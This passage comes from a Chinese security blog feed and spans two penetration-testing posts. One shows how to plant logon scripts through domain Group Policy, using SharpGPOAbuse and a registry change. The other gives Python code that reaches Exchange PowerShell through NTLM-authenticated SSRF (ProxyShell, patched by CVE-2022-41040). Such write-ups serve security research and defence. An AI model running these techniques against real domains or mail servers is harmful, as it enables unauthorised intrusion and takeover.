Policy</code>,这里分为手动修改和通过程序自动实现两部分进行介绍</p> <h3 id="1手动修改">1.手动修改</h3> <h4 id="1获取gpo的guid">(1)获取GPO的guid</h4> <p>Powershell命令:<code class="language-plaintext highlighter-rouge">get-GPO -Name "Default Domain Policy"</code></p> <p>得到Id为<code class="language-plaintext highlighter-rouge">31b2f340-016d-11d2-945f-00c04fb984f9</code></p> <h4 id="2上传要执行的用户登录脚本">(2)上传要执行的用户登录脚本</h4> <p>将测试脚本test1.bat上传至<code class="language-plaintext highlighter-rouge">\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\Logon</code></p> <h4 id="3启用用户登录脚本">(3)启用用户登录脚本</h4> <p>创建文件<code class="language-plaintext highlighter-rouge">\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\scripts.ini</code>,属性为隐藏文件,内容为:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> [Logon] 0CmdLine=test1.bat 0Parameters= </code></pre></div></div> <h4 id="4修改版本信息">(4)修改版本信息</h4> <p>修改文件<code class="language-plaintext highlighter-rouge">\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI</code>,将<code class="language-plaintext highlighter-rouge">Version</code>的原有数值加上<code class="language-plaintext highlighter-rouge">65536</code>作为新的数值</p> <p>具体来说,默认配置下,<code class="language-plaintext highlighter-rouge">\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI</code>的<code class="language-plaintext highlighter-rouge">Version</code>值为<code class="language-plaintext highlighter-rouge">3</code>,第一次修改时需要将其修改为<code class="language-plaintext highlighter-rouge">65539</code></p> <h4 id="5更新数据库信息">(5)更新数据库信息</h4> <p>需要编写程序实现,代码可参考https://github.com/FSecureLABS/SharpGPOAbuse/blob/master/SharpGPOAbuse/Program.cs#L189</p> <p>当然,这个操作也可以通过修改文件的方式实现,流程较为繁琐,具体思路如下:</p> <ul> <li>备份GPO</li> <li>修改Backup.xml</li> <li>修改gpreport.xml</li> <li>还原GPO</li> </ul> <h4 id="6等待域组策略更新-1">(6)等待域组策略更新</h4> <p>默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟</p> <h4 id="7等待触发脚本执行-1">(7)等待触发脚本执行</h4> <h3 id="2通过程序实现">2.通过程序实现</h3> <p>通过<a href="https://github.com/FSecureLABS/SharpGPOAbuse">SharpGPOAbuse</a>可以实现,命令示例:<code class="language-plaintext highlighter-rouge">SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 &gt; c:\GPOAbuse.txt" --GPOName "Default Domain Policy"</code></p> <h2 id="0x05-直接执行远程脚本">0x05 直接执行远程脚本</h2> <hr /> <p>当我们选择直接执行组策略文件夹中的bat文件,会弹框提示无法执行,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-17/2-4.png" alt="Alt text" /></p> <p>这里可以通过修改注册表的方式设置为允许,对应的命令为:<code class="language-plaintext highlighter-rouge">reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v ModRiskFileTypes /t REG_SZ /d .bat /f</code></p> <p>该操作也可以通过配置域组策略实现,位置为:<code class="language-plaintext highlighter-rouge">User Configuration</code> -&gt; <code class="language-plaintext highlighter-rouge">Administrative Templates</code> -&gt; <code class="language-plaintext highlighter-rouge">Windows Components</code> -&gt; <code class="language-plaintext highlighter-rouge">Attachment Manager</code> -&gt; <code class="language-plaintext highlighter-rouge">Inclusion list for moderate risk file types</code>,选择<code class="language-plaintext highlighter-rouge">Enabled</code>,后缀名设置为<code class="language-plaintext highlighter-rouge">.bat</code>,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-17/2-3.png" alt="Alt text" /></p> <h2 id="0x06-小结">0x06 小结</h2> <hr /> <p>本文介绍了通过域组策略(Group Policy Object)中的脚本实现远程执行的方法,分享实现细节和利用思路。</p> <hr /> <p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p> Mon, 17 Oct 2022 00:00:00 +0000 https://3gstudent.github.io//%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%84%9A%E6%9C%AC%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%84%9A%E6%9C%AC%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C 渗透技巧——远程访问Exchange Powershell <h2 id="0x00-前言">0x00 前言</h2> <hr /> <p>Exchange Powershell基于PowerShell Remoting,通常需要在域内主机上访问Exchange Server的80端口,限制较多。本文介绍一种不依赖域内主机发起连接的实现方法,增加适用范围。</p> <p><strong>注:</strong></p> <p>该方法在CVE-2022–41040中被修复,修复位置:<code class="language-plaintext highlighter-rouge">C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.HttpProxy.Common.dll</code>中的<code class="language-plaintext highlighter-rouge">RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress)</code>,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-7/2-2.png" alt="Alt text" /></p> <h2 id="0x01-简介">0x01 简介</h2> <hr /> <p>本文将要介绍以下内容:</p> <ul> <li>实现思路</li> <li>实现细节</li> </ul> <h2 id="0x02-实现思路">0x02 实现思路</h2> <hr /> <p>常规用法下,使用Exchange Powershell需要注意以下问题:</p> <ul> <li>所有域用户都可以连接Exchange PowerShell</li> <li>需要在域内主机上发起连接</li> <li>连接地址需要使用FQDN,不支持IP</li> </ul> <p>常规用法无法在域外发起连接,而我们知道,通过ProxyShell可以从域外发起连接,利用SSRF执行Exchange Powershell</p> <p>更进一步,在打了ProxyShell的补丁后,支持NTLM认证的SSRF没有取消,我们可以通过NTLM认证再次访问Exchange Powershell</p> <h2 id="0x03-实现细节">0x03 实现细节</h2> <hr /> <p>在代码实现上,我们可以加入NTLM认证传入凭据,示例代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from requests_ntlm import HttpNtlmAuth res = requests.post(url, data=post_data, headers=headers, verify=False, auth=HttpNtlmAuth(username, password)) </code></pre></div></div> <p>在执行Exchange Powershell命令时,我们可以选择<a href="https://github.com/jborean93/pypsrp">pypsrp</a>或者Flask,具体细节可参考之前的文章<a href="https://3gstudent.github.io/ProxyShell%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%902-CVE-2021-34523">《ProxyShell利用分析2——CVE-2021-34523》</a>和<a href="https://3gstudent.github.io/ProxyShell%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%903-%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7%E5%92%8C%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5">《ProxyShell利用分析3——添加用户和文件写入》</a></p> <p><a href="https://github.com/jborean93/pypsrp">pypsrp</a>或者Flask都是通过建立一个web代理,过滤修改通信数据实现命令执行</p> <p>为了增加代码的适用范围,这里选择另外一种实现方法:模拟Exchange Powershell的正常通信数据,实现命令执行</p> <p>可供参考的代码:https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58</p> <p><a href="https://gist.github.com/rskvp93/4e353e709c340cb18185f82dbec30e58">代码</a>使用了Python2,实现了ProxyShell的利用</p> <p>基于这个代码,改写成支持Python3,功能为通过NTLM认证访问Exchange Powershell执行命令,具体需要注意的细节如下:</p> <h3 id="1python2和python3在格式化字符存在差异">1.Python2和Python3在格式化字符存在差异</h3> <h4 id="1">(1)</h4> <p>Python2下可用的代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>class BasePacket: def serialize(self): Blob = ''.join([struct.pack('I', self.Destination), struct.pack('I', self.MessageType), self.RPID.bytes_le, self.PID.bytes_le, self.Data ]) BlobLength = len(Blob) output = ''.join([struct.pack('&gt;Q', self.ObjectId), struct.pack('&gt;Q', self.FragmentId), self.Flags, struct.pack('&gt;I', BlobLength), Blob ]) return output </code></pre></div></div> <p>以上代码在Python3下使用时,需要将<code class="language-plaintext highlighter-rouge">Str</code>转为<code class="language-plaintext highlighter-rouge">bytes</code>,并且为了避免不可见字符解析的问题,代码结构做了重新设计,Python3可用的代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def serialize(self): Blob = struct.pack('I', self.Destination) + struct.pack('I', self.MessageType) + self.RPID.bytes_le + self.PID.bytes_le + self.Data.encode('utf-8') BlobLength = len(Blob) output = struct.pack('&gt;Q', self.ObjectId) + struct.pack('&gt;Q', self.FragmentId) + self.Flags.encode('utf-8') + struct.pack('&gt;I', BlobLength) + Blob return output </code></pre></div></div> <h4 id="2">(2)</h4> <p>Python2下可用的代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>class CreationXML: def serialize(self): output = self.sessionCapability.serialize() + self.initRunspacPool.serialize() return base64.b64encode(output) </code></pre></div></div> <p>以上代码在Python3下使用时,需要将Str转为bytes,Python3可用的示例代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def serialize(self): output = self.sessionCapability.serialize() + self.initRunspacPool.serialize() return base64.b64encode(output).decode('utf-8') </code></pre></div></div> <h4 id="3">(3)</h4> <p>Python2下可用的代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def receive_data(SessionId, commonAccessToken, ShellId): print "[+] Receive data util get RunspaceState packet" headers = { "Content-Type": "application/soap+xml;charset=UTF-8" } url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&amp;X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken) MessageID = uuid.uuid4() OperationID = uuid.uuid4() request_data = """&lt;s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"&gt; &lt;s:Header&gt; &lt;a:To&gt;https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610&lt;/a:To&gt; &lt;w:ResourceURI s:mustUnderstand="true"&gt;http://schemas.microsoft.com/powershell/Microsoft.Exchange&lt;/w:ResourceURI&gt; &lt;a:ReplyTo&gt; &lt;a:Address s:mustUnderstand="true"&gt;http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous&lt;/a:Address&gt; &lt;/a:ReplyTo&gt; &lt;a:Action s:mustUnderstand="true"&gt;http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive&lt;/a:Action&gt; &lt;w:MaxEnvelopeSize s:mustUnderstand="true"&gt;512000&lt;/w:MaxEnvelopeSize&gt; &lt;a:MessageID&gt;uuid:{MessageID}&lt;/a:MessageID&gt; &lt;w:Locale xml:lang="en-US" s:mustUnderstand="false" /&gt; &lt;p:DataLocale xml:lang="en-US" s:mustUnderstand="false" /&gt; &lt;p:SessionId s:mustUnderstand="false"&gt;uuid:{SessionId}&lt;/p:SessionId&gt; &lt;p:OperationID s:mustUnderstand="false"&gt;uuid:{OperationID}&lt;/p:OperationID&gt; &lt;p:SequenceId s:mustUnderstand="false"&gt;1&lt;/p:SequenceId&gt; &lt;w:SelectorSet&gt; &lt;w:Selector Name="ShellId"&gt;{ShellId}&lt;/w:Selector&gt; &lt;/w:SelectorSet&gt; &lt;w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&gt; &lt;w:Option Name="WSMAN_CMDSHELL_OPTION_KEEPALIVE"&gt;TRUE&lt;/w:Option&gt; &lt;/w:OptionSet&gt; &lt;w:OperationTimeout&gt;PT180.000S&lt;/w:OperationTimeout&gt; &lt;/s:Header&gt; &lt;s:Body&gt; &lt;rsp:Receive xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" SequenceId="0"&gt; &lt;rsp:DesiredStream&gt;stdout&lt;/rsp:DesiredStream&gt; &lt;/rsp:Receive&gt; &lt;/s:Body&gt; &lt;/s:Envelope&gt;""".format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId) r = post_request(url, headers, request_data, {}) if r.status_code == 200: doc = xml.dom.minidom.parseString(r.text); elements = doc.getElementsByTagName("rsp:Stream") if len(elements) == 0: print_error_and_exit("receive_data failed with no Stream return", r) for element in elements: stream = element.firstChild.nodeValue data = base64.b64decode(stream) if 'RunspaceState' in data: print "[+] Found RunspaceState packet" return True </code></pre></div></div> <p>以上代码在Python3下使用时,需要将<code class="language-plaintext highlighter-rouge">Str</code>转为<code class="language-plaintext highlighter-rouge">bytes</code>,为了避免不可见字符解析的问题,这里不能使用<code class="language-plaintext highlighter-rouge">.decode('utf-8')</code>,改为使用<code class="language-plaintext highlighter-rouge">.decode('ISO-8859-1')</code></p> <p>Python3可用的示例代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>data = base64.b64decode(stream).decode('ISO-8859-1') </code></pre></div></div> <h3 id="2支持exchange-powershell命令的xml文件格式">2.支持Exchange Powershell命令的XML文件格式</h3> <p>XML文件格式示例1:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;Obj RefId="0"&gt;&lt;MS&gt;&lt;B N="NoInput"&gt;true&lt;/B&gt;&lt;Obj N="ApartmentState" RefId="1"&gt;&lt;TN RefId="0"&gt;&lt;T&gt;System.Management.Automation.Runspaces.ApartmentState&lt;/T&gt;&lt;T&gt;System.Enum&lt;/T&gt;&lt;T&gt;System.ValueType&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;ToString&gt;UNKNOWN&lt;/ToString&gt;&lt;I32&gt;2&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="RemoteStreamOptions" RefId="2"&gt;&lt;TN RefId="1"&gt;&lt;T&gt;System.Management.Automation.Runspaces.RemoteStreamOptions&lt;/T&gt;&lt;T&gt;System.Enum&lt;/T&gt;&lt;T&gt;System.ValueType&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;ToString&gt;AddInvocationInfo&lt;/ToString&gt;&lt;I32&gt;15&lt;/I32&gt;&lt;/Obj&gt;&lt;B N="AddToHistory"&gt;false&lt;/B&gt;&lt;Obj N="HostInfo" RefId="3"&gt;&lt;MS&gt;&lt;B N="_isHostNull"&gt;true&lt;/B&gt;&lt;B N="_isHostUINull"&gt;true&lt;/B&gt;&lt;B N="_isHostRawUINull"&gt;true&lt;/B&gt;&lt;B N="_useRunspaceHost"&gt;true&lt;/B&gt;&lt;/MS&gt;&lt;/Obj&gt;&lt;Obj N="PowerShell" RefId="4"&gt;&lt;MS&gt;&lt;B N="IsNested"&gt;false&lt;/B&gt;&lt;Nil N="ExtraCmds" /&gt;&lt;Obj N="Cmds" RefId="5"&gt;&lt;TN RefId="2"&gt;&lt;T&gt;System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST&gt;&lt;Obj RefId="6"&gt;&lt;MS&gt;&lt;S N="Cmd"&gt;Get-RoleGroupMember&lt;/S&gt;&lt;B N="IsScript"&gt;false&lt;/B&gt;&lt;Nil N="UseLocalScope" /&gt;&lt;Obj N="MergeMyResult" RefId="7"&gt;&lt;TN RefId="3"&gt;&lt;T&gt;System.Management.Automation.Runspaces.PipelineResultTypes&lt;/T&gt;&lt;T&gt;System.Enum&lt;/T&gt;&lt;T&gt;System.ValueType&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="MergeToResult" RefId="8"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="MergePreviousResults" RefId="9"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="Args" RefId="10"&gt;&lt;TNRef RefId="2" /&gt;&lt;LST&gt;&lt;Obj RefId="11"&gt;&lt;MS&gt;&lt;Nil N="N" /&gt;&lt;S N="V"&gt;Organization Management&lt;/S&gt;&lt;/MS&gt;&lt;/Obj&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Obj N="MergeError" RefId="12"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="MergeWarning" RefId="13"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="MergeVerbose" RefId="14"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="MergeDebug" RefId="15"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;/MS&gt;&lt;/Obj&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Nil N="History" /&gt;&lt;B N="RedirectShellErrorOutputPipe"&gt;false&lt;/B&gt;&lt;/MS&gt;&lt;/Obj&gt;&lt;B N="IsNested"&gt;false&lt;/B&gt;&lt;/MS&gt;&lt;/Obj&gt; </code></pre></div></div> <p>对应执行的命令为:<code class="language-plaintext highlighter-rouge">Get-RoleGroupMember "Organization Management"</code></p> <p>XML文件格式示例2:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;Obj RefId="0"&gt;&lt;MS&gt;&lt;B N="NoInput"&gt;true&lt;/B&gt;&lt;Obj N="ApartmentState" RefId="1"&gt;&lt;TN RefId="0"&gt;&lt;T&gt;System.Management.Automation.Runspaces.ApartmentState&lt;/T&gt;&lt;T&gt;System.Enum&lt;/T&gt;&lt;T&gt;System.ValueType&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;ToString&gt;UNKNOWN&lt;/ToString&gt;&lt;I32&gt;2&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="RemoteStreamOptions" RefId="2"&gt;&lt;TN RefId="1"&gt;&lt;T&gt;System.Management.Automation.Runspaces.RemoteStreamOptions&lt;/T&gt;&lt;T&gt;System.Enum&lt;/T&gt;&lt;T&gt;System.ValueType&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;ToString&gt;AddInvocationInfo&lt;/ToString&gt;&lt;I32&gt;15&lt;/I32&gt;&lt;/Obj&gt;&lt;B N="AddToHistory"&gt;false&lt;/B&gt;&lt;Obj N="HostInfo" RefId="3"&gt;&lt;MS&gt;&lt;B N="_isHostNull"&gt;true&lt;/B&gt;&lt;B N="_isHostUINull"&gt;true&lt;/B&gt;&lt;B N="_isHostRawUINull"&gt;true&lt;/B&gt;&lt;B N="_useRunspaceHost"&gt;true&lt;/B&gt;&lt;/MS&gt;&lt;/Obj&gt;&lt;Obj N="PowerShell" RefId="4"&gt;&lt;MS&gt;&lt;B N="IsNested"&gt;false&lt;/B&gt;&lt;Nil N="ExtraCmds" /&gt;&lt;Obj N="Cmds" RefId="5"&gt;&lt;TN RefId="2"&gt;&lt;T&gt;System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST&gt;&lt;Obj RefId="6"&gt;&lt;MS&gt;&lt;S N="Cmd"&gt;Get-Mailbox&lt;/S&gt;&lt;B N="IsScript"&gt;false&lt;/B&gt;&lt;Nil N="UseLocalScope" /&gt;&lt;Obj N="MergeMyResult" RefId="7"&gt;&lt;TN RefId="3"&gt;&lt;T&gt;System.Management.Automation.Runspaces.PipelineResultTypes&lt;/T&gt;&lt;T&gt;System.Enum&lt;/T&gt;&lt;T&gt;System.ValueType&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="MergeToResult" RefId="8"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="MergePreviousResults" RefId="9"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="Args" RefId="10"&gt;&lt;TNRef RefId="2" /&gt;&lt;LST&gt;&lt;Obj RefId="11"&gt;&lt;MS&gt;&lt;S N="N"&gt;-Identity&lt;/S&gt;&lt;S N="V"&gt;administrator&lt;/S&gt;&lt;/MS&gt;&lt;/Obj&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Obj N="MergeError" RefId="12"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="MergeWarning" RefId="13"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="MergeVerbose" RefId="14"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;Obj N="MergeDebug" RefId="15"&gt;&lt;TNRef RefId="3" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt;&lt;/MS&gt;&lt;/Obj&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Nil N="History" /&gt;&lt;B N="RedirectShellErrorOutputPipe"&gt;false&lt;/B&gt;&lt;/MS&gt;&lt;/Obj&gt;&lt;B N="IsNested"&gt;false&lt;/B&gt;&lt;/MS&gt;&lt;/Obj&gt; </code></pre></div></div> <p>对应执行的命令为:<code class="language-plaintext highlighter-rouge">Get-Mailbox -Identity administrator</code></p> <p>通过格式分析,可得出以下结论:</p> <h4 id="1属性cmd对应命令名称">(1)属性<code class="language-plaintext highlighter-rouge">Cmd</code>对应命令名称</h4> <p>例如:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;S N="Cmd"&gt;Get-RoleGroupMember&lt;/S&gt; &lt;S N="Cmd"&gt;Get-Mailbox&lt;/S&gt; </code></pre></div></div> <h4 id="2传入的命令参数需要注意格式">(2)传入的命令参数需要注意格式</h4> <p>如果只传入1个参数,对应的格式为:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;Obj RefId="11"&gt;&lt;MS&gt;&lt;Nil N="N" /&gt;&lt;S N="V"&gt;Organization Management&lt;/S&gt;&lt;/MS&gt;&lt;/Obj&gt; </code></pre></div></div> <p>如果传入2个参数,对应的格式为:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;Obj RefId="11"&gt;&lt;MS&gt;&lt;S N="N"&gt;-Identity&lt;/S&gt;&lt;S N="V"&gt;administrator&lt;/S&gt;&lt;/MS&gt;&lt;/Obj&gt; </code></pre></div></div> <p>如果传入4个参数,对应的格式为:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;Obj RefId="11"&gt;&lt;MS&gt;&lt;S N="N"&gt;-Identity&lt;/S&gt;&lt;S N="V"&gt;administrator&lt;/S&gt;&lt;/MS&gt;&lt;/Obj&gt; &lt;Obj RefId="12"&gt;&lt;MS&gt;&lt;S N="N"&gt;-ResultSize&lt;/S&gt;&lt;S N="V"&gt;1024&lt;/S&gt;&lt;/MS&gt;&lt;/Obj&gt; </code></pre></div></div> <p>为此,我们可以使用以下代码实现参数填充:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>def GenerateArgument(N_data, V_data): if len(N_data) == 0: Argument = """&lt;Obj RefId="13"&gt;&lt;MS&gt;&lt;Nil N="N" /&gt;&lt;S N="V"&gt;{V_data}&lt;/S&gt;&lt;/MS&gt;&lt;/Obj&gt;""".format(V_data=V_data) else: Argument = """&lt;Obj RefId="13"&gt;&lt;MS&gt;&lt;S N="N"&gt;{N_data}&lt;/S&gt;&lt;S N="V"&gt;{V_data}&lt;/S&gt;&lt;/MS&gt;&lt;/Obj&gt;""".format(N_data=N_data, V_data=V_data) return Argument </code></pre></div></div> <p>构造XML文件格式的实现代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> commandData = """&lt;Obj RefId="0"&gt;&lt;MS&gt; &lt;Obj N="PowerShell" RefId="1"&gt;&lt;MS&gt; &lt;Obj N="Cmds" RefId="2"&gt; &lt;TN RefId="0"&gt; &lt;T&gt;System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt; &lt;T&gt;System.Object&lt;/T&gt; &lt;/TN&gt; &lt;LST&gt; &lt;Obj RefId="3"&gt;&lt;MS&gt; &lt;S N="Cmd"&gt;{Cmdlet}&lt;/S&gt; &lt;B N="IsScript"&gt;false&lt;/B&gt; &lt;Nil N="UseLocalScope" /&gt; &lt;Obj N="MergeMyResult" RefId="4"&gt; &lt;TN RefId="1"&gt; &lt;T&gt;System.Management.Automation.Runspaces.PipelineResultTypes&lt;/T&gt; &lt;T&gt;System.Enum&lt;/T&gt; &lt;T&gt;System.ValueType&lt;/T&gt; &lt;T&gt;System.Object&lt;/T&gt; &lt;/TN&gt; &lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt; &lt;/Obj&gt; &lt;Obj N="MergeToResult" RefId="5"&gt;&lt;TNRef RefId="1" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt; &lt;Obj N="MergePreviousResults" RefId="6"&gt;&lt;TNRef RefId="1" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt; &lt;Obj N="MergeError" RefId="7"&gt;&lt;TNRef RefId="1" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt; &lt;Obj N="MergeWarning" RefId="8"&gt;&lt;TNRef RefId="1" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt; &lt;Obj N="MergeVerbose" RefId="9"&gt;&lt;TNRef RefId="1" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt; &lt;Obj N="MergeDebug" RefId="10"&gt;&lt;TNRef RefId="1" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt; &lt;Obj N="MergeInformation" RefId="11"&gt;&lt;TNRef RefId="1" /&gt;&lt;ToString&gt;None&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt;&lt;/Obj&gt; &lt;Obj N="Args" RefId="12"&gt;&lt;TNRef RefId="0" /&gt; &lt;LST&gt; {Argument} &lt;/LST&gt; &lt;/Obj&gt; &lt;/MS&gt;&lt;/Obj&gt; &lt;/LST&gt; &lt;/Obj&gt; &lt;B N="IsNested"&gt;false&lt;/B&gt; &lt;Nil N="History" /&gt; &lt;B N="RedirectShellErrorOutputPipe"&gt;true&lt;/B&gt; &lt;/MS&gt;&lt;/Obj&gt; &lt;B N="NoInput"&gt;true&lt;/B&gt; &lt;Obj N="ApartmentState" RefId="15"&gt; &lt;TN RefId="2"&gt;&lt;T&gt;System.Threading.ApartmentState&lt;/T&gt;&lt;T&gt;System.Enum&lt;/T&gt;&lt;T&gt;System.ValueType&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt; &lt;ToString&gt;Unknown&lt;/ToString&gt;&lt;I32&gt;2&lt;/I32&gt; &lt;/Obj&gt; &lt;Obj N="RemoteStreamOptions" RefId="16"&gt; &lt;TN RefId="3"&gt;&lt;T&gt;System.Management.Automation.RemoteStreamOptions&lt;/T&gt;&lt;T&gt;System.Enum&lt;/T&gt;&lt;T&gt;System.ValueType&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt; &lt;ToString&gt;0&lt;/ToString&gt;&lt;I32&gt;0&lt;/I32&gt; &lt;/Obj&gt; &lt;B 